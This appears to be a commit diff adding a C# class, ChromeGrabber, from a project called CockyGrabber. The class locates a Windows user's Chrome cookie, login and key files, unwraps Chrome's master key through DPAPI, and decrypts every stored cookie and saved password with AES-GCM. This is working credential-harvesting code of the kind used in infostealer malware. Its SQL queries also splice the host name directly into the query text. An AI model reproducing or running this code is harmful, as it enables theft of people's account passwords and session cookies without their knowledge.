|
| 1 | +using CockyGrabber.Classes; |
| 2 | +using Newtonsoft.Json.Linq; |
| 3 | +using Org.BouncyCastle.Crypto; |
| 4 | +using Org.BouncyCastle.Crypto.Engines; |
| 5 | +using Org.BouncyCastle.Crypto.Modes; |
| 6 | +using Org.BouncyCastle.Crypto.Parameters; |
| 7 | +using System; |
| 8 | +using System.Collections.Generic; |
| 9 | +using System.IO; |
| 10 | +using System.Linq; |
| 11 | +using System.Security.Cryptography; |
| 12 | +using System.Text; |
| 13 | +using Cookie = CockyGrabber.Classes.Cookie; |
| 14 | + |
| 15 | +// Using: |
| 16 | +// Org.BouncyCastle |
| 17 | +// Microsoft.Win32 |
| 18 | +// System.Security.Cryptography |
| 19 | + |
| 20 | +namespace CockyGrabber |
| 21 | +{ |
| 22 | + public class ChromeGrabber |
| 23 | + { |
| 24 | + public string ChromeCookiePath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Cookies"; |
| 25 | + public string ChromeKeyPath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Local State"; |
| 26 | + public string ChromePasswordPath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data"; |
| 27 | + |
| 28 | + |
| 29 | + /// <summary> |
| 30 | + /// Returns a value depending on if the File "Cookies" was found |
| 31 | + /// </summary> |
| 32 | + /// <returns>true if Cookies was found and false if not</returns> |
| 33 | + public bool CookiesExists() |
| 34 | + { |
| 35 | + if (File.Exists(ChromeCookiePath)) |
| 36 | + return true; |
| 37 | + return false; |
| 38 | + } |
| 39 | + |
| 40 | + /// <summary> |
| 41 | + /// Returns a value depending on if the File "Login Data" was found |
| 42 | + /// </summary> |
| 43 | + /// <returns>true if Cookies was found and false if not</returns> |
| 44 | + public bool PasswordsExists() |
| 45 | + { |
| 46 | + if (File.Exists(ChromePasswordPath)) |
| 47 | + return true; |
| 48 | + return false; |
| 49 | + } |
| 50 | + |
| 51 | + /// <summary> |
| 52 | + /// Returns a value depending on if the File "Local State" was found |
| 53 | + /// </summary> |
| 54 | + /// <returns>true if File was found and false if not</returns> |
| 55 | + public bool KeyExists() |
| 56 | + { |
| 57 | + if (File.Exists(ChromeKeyPath)) |
| 58 | + return true; |
| 59 | + return false; |
| 60 | + } |
| 61 | + |
| 62 | + |
| 63 | + public List<Cookie> GetCookiesByHostname(string hostName, byte[] key) |
| 64 | + { |
| 65 | + List<Cookie> cookies = new List<Cookie>(); |
| 66 | + if (hostName == null) throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null |
| 67 | + if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found |
| 68 | + |
| 69 | + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromeCookiePath};pooling=false")) |
| 70 | + using (var cmd = conn.CreateCommand()) |
| 71 | + { |
| 72 | + cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies WHERE host_key = '{hostName}'"; |
| 73 | + |
| 74 | + conn.Open(); |
| 75 | + using (var reader = cmd.ExecuteReader()) |
| 76 | + { |
| 77 | + while (reader.Read()) |
| 78 | + { |
| 79 | + cookies.Add(new Cookie() |
| 80 | + { |
| 81 | + Name = reader.GetString(0), |
| 82 | + Value = DecryptWithKey((byte[])reader[1], key, 3), |
| 83 | + HostName = reader.GetString(2) |
| 84 | + }); |
| 85 | + } |
| 86 | + } |
| 87 | + conn.Close(); |
| 88 | + } |
| 89 | + return cookies; |
| 90 | + } |
| 91 | + public List<Cookie> GetAllCookies(byte[] key) |
| 92 | + { |
| 93 | + List<Cookie> cookies = new List<Cookie>(); |
| 94 | + if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found |
| 95 | + |
| 96 | + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromeCookiePath};pooling=false")) |
| 97 | + using (var cmd = conn.CreateCommand()) |
| 98 | + { |
| 99 | + cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies"; |
| 100 | + |
| 101 | + conn.Open(); |
| 102 | + using (var reader = cmd.ExecuteReader()) |
| 103 | + { |
| 104 | + while (reader.Read()) |
| 105 | + { |
| 106 | + cookies.Add(new Cookie() |
| 107 | + { |
| 108 | + Name = reader.GetString(0), |
| 109 | + Value = DecryptWithKey((byte[])reader[1], key, 3), |
| 110 | + HostName = reader.GetString(2) |
| 111 | + }); |
| 112 | + } |
| 113 | + } |
| 114 | + conn.Close(); |
| 115 | + } |
| 116 | + return cookies; |
| 117 | + } |
| 118 | + |
| 119 | + public List<Passwords> GetPasswordByHostname(string hostName, byte[] key) |
| 120 | + { |
| 121 | + List<Passwords> password = new List<Passwords>(); |
| 122 | + if (hostName == null) throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null |
| 123 | + if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromePasswordPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found |
| 124 | + |
| 125 | + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromePasswordPath};pooling=false")) |
| 126 | + using (var cmd = conn.CreateCommand()) |
| 127 | + { |
| 128 | + cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins WHERE origin_url = '{hostName}'"; |
| 129 | + |
| 130 | + conn.Open(); |
| 131 | + using (var reader = cmd.ExecuteReader()) |
| 132 | + { |
| 133 | + while (reader.Read()) |
| 134 | + { |
| 135 | + password.Add(new Passwords() |
| 136 | + { |
| 137 | + url = reader.GetString(0), |
| 138 | + password = DecryptWithKey((byte[])reader[2], key, 3), |
| 139 | + username = reader.GetString(1) |
| 140 | + }); |
| 141 | + } |
| 142 | + } |
| 143 | + conn.Close(); |
| 144 | + } |
| 145 | + return password; |
| 146 | + } |
| 147 | + public List<Passwords> GetAllPasswords(byte[] key) |
| 148 | + { |
| 149 | + List<Passwords> password = new List<Passwords>(); |
| 150 | + if (!PasswordsExists()) throw new FileNotFoundException("Cant find password store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found |
| 151 | + |
| 152 | + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromePasswordPath};pooling=false")) |
| 153 | + using (var cmd = conn.CreateCommand()) |
| 154 | + { |
| 155 | + cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins"; |
| 156 | + |
| 157 | + conn.Open(); |
| 158 | + using (var reader = cmd.ExecuteReader()) |
| 159 | + { |
| 160 | + while (reader.Read()) |
| 161 | + { |
| 162 | + password.Add(new Passwords() |
| 163 | + { |
| 164 | + url = reader.GetString(0), |
| 165 | + password = DecryptWithKey((byte[])reader[2], key, 3), |
| 166 | + username = reader.GetString(1) |
| 167 | + }); |
| 168 | + } |
| 169 | + } |
| 170 | + conn.Close(); |
| 171 | + } |
| 172 | + return password; |
| 173 | + } |
| 174 | + |
| 175 | + |
| 176 | + /// <summary> |
| 177 | + /// Gets the key to decrypt a DB Value |
| 178 | + /// </summary> |
| 179 | + /// <returns>Key to decrypt DB Value</returns> |
| 180 | + public byte[] GetKey() |
| 181 | + { |
| 182 | + string encKey = File.ReadAllText(ChromeKeyPath); // reads the file (string) |
| 183 | + encKey = JObject.Parse(encKey)["os_crypt"]["encrypted_key"].ToString(); // parses the string |
| 184 | + return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // decrypts the key and returns a byte Array |
| 185 | + } |
| 186 | + |
| 187 | + private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength) |
| 188 | + { |
| 189 | + const int KEY_BIT_SIZE = 256; |
| 190 | + const int MAC_BIT_SIZE = 128; |
| 191 | + const int NONCE_BIT_SIZE = 96; |
| 192 | + |
| 193 | + if (key == null || key.Length != KEY_BIT_SIZE / 8) |
| 194 | + throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key"); |
| 195 | + if (msg == null || msg.Length == 0) |
| 196 | + throw new ArgumentException("Message required!", "message"); |
| 197 | + |
| 198 | + using (var cipherStream = new MemoryStream(msg)) |
| 199 | + using (var cipherReader = new BinaryReader(cipherStream)) |
| 200 | + { |
| 201 | + var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); |
| 202 | + var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); |
| 203 | + var cipher = new GcmBlockCipher(new AesEngine()); |
| 204 | + var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); |
| 205 | + cipher.Init(false, parameters); |
| 206 | + var cipherText = cipherReader.ReadBytes(msg.Length); |
| 207 | + var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; |
| 208 | + try |
| 209 | + { |
| 210 | + var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); |
| 211 | + cipher.DoFinal(plainText, len); |
| 212 | + } |
| 213 | + catch (InvalidCipherTextException) |
| 214 | + { |
| 215 | + return null; |
| 216 | + } |
| 217 | + return Encoding.Default.GetString(plainText); |
| 218 | + } |
| 219 | + } |
| 220 | + } |
| 221 | +} |
0 commit comments